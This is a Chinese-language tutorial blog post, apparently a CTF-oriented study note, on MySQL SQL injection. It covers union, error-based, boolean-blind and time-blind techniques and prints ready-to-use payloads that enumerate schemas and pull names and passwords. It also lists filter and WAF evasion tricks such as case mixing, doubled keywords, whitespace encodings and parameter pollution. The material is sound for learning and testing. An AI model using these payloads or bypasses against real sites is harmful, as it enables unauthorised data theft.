SQL注入攻击(一)

1 SQL注入攻击
SQL注入攻击定义:标准而言,SQL注入是指利用现有的应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力。具体而言,SQL注入就是攻击者通过正常的WEB页面,把自己SQL代码传入到应用程序中,从而通过执行非程序员预期的SQL代码,达到窃取数据或破坏的目的。发生SQL注入的情况可能有如下几种,第一种,应用程序使用输入内容来构造动态SQL语句以访问数据库;第二种,代码使用作为包含未筛选的用户输入字符传递的存储过程。B/S模式被广泛应用带来的是一部分开发人员对用户输入数据或者cookie进行合法性判断,导致攻击者可以通过提交SQL查询代码根据返回结果得到想要的数据。
2 SQL分类
2.1 基于联合查询

MySQL的系统参数有:
user() :当前使用者的用户名
database():当前数据库名
version():数据库版本
datadir:读取数据库的绝对路径
 @@vasedir:mysql安装路径
 @@version_compile_os:操作系统
 concat():连接一个或者多个字符串
 group_concat():连接一个组的所有字符串,并以逗号分隔每一条数据union 用于合并两个或多个 select 语句的结果集,并消去表中任何重复行。
 union 内部的 select 语句必须拥有相同数量的列,列也必须拥有相似的数据类型。同时,每条 select 语句中的列的顺序必须相同.默认地,union 操作符选取不同的值。如果允许重复的值,请使用 union all。当 ALL 随 union 一起使用时(即 union all),不消除重复行。
 order by 用于对结果集进行排序,通过information_schema查询数据库内容:mysql数据库重要四个数据库库:information_schema proformation_schema mysql test,三个重要数据表:table_name 、table_schema、table_type。
 使用系统函数查询敏感语言:
 and 1=2 union select 1,version(),database()//查询当前使用版本和数据库名
 and 1=2 union select 1,2,schema_name from information_schema.schemata limit 1,1 %23//查询数据库名

2.2 基于错误回显

即通过SQL语句的矛盾使数据回显,下列是使用的相关函数。
count(*) //统计数据 
select count(*) from information_schema.schemata://查询数据库有多少个。
0x3a//十六进制“:”
floor( rand(0))//报错
floor()//返回函数整数部分rand()//产生随机数
rand(0)*2 //去0到2的随机数
floor(rand()*2)//记录报错
floor(rand(0)*2)//报错
count(*)//统计结果,如select count(*) from information_schema.tables;
group by 在对数据进行分组时,会先看看虚拟表里面有没有这个值,没有的话就插入存在的count(*)加1,在使用group by时对fllor(rand()*2)会被执行一次,若虚表不存在记录,插入虚表时会在执行一次。
利用group by part of rand() returns duplicate key error这个bug:
RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.//出现duplicate key错误

2.3 基于盲注
2.3.1 基于布尔型的sql盲注

相关函数:
length()//返回字符串长度
substr()//截取字符串
ascii()//返回字符ascii码
count()//统计个数
and ascii(substr(@@datadir,1,1))>69 %23//数据库路径  
and ascii(substr((select schema_name from information_schema.schemata limit 2,1),1,1))>101 %23//数据库名  
and (ascii(substr((select table_name from information_schema.tables where table_schema=’sqlflag’ limit 0,1),1,1)))>100 %23//数据库表名  
and (ascii(substr((select column_name from information_schema.columns where table_name=’flagtable’ limit 0,1),1,1)))>100 %23//数据库列名  
and ascii(substr((select group_concat(name,password) from flag.flagtable limit 0,1),1,1))>48 %23//数据库列中数据```

```

2.3 基于时间盲注

sleep()函数//执行挂起一段时间如
If(ascii(substr(database(),1,1))>115,1,sleep(5))%23//为False,挂起五秒

2.4 基于user-agent
user-agent使服务器能够识别客户的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。
2.5 基于cookie
cookie指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)。
2.5.1过滤
1)过滤关键字符:and ——&& or —— ||
2)空格被过滤,使用”%09 %0A %0C %0D %0B”替代,或or和and构造闭合语句。
3)union select过滤使用大小写绕过,如UNion、SElect、ununionion、selselectect,在union select联合使用被过滤的情况,可以使用union all select。
2.5.2WAF应用防护系统
php中get()多次赋值会保留最后一次参数,如id=1&id=&2&id=3返回id=3,WAF对于第一次参数检测,后面的则不会检测,所以SQL会存在漏洞。

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值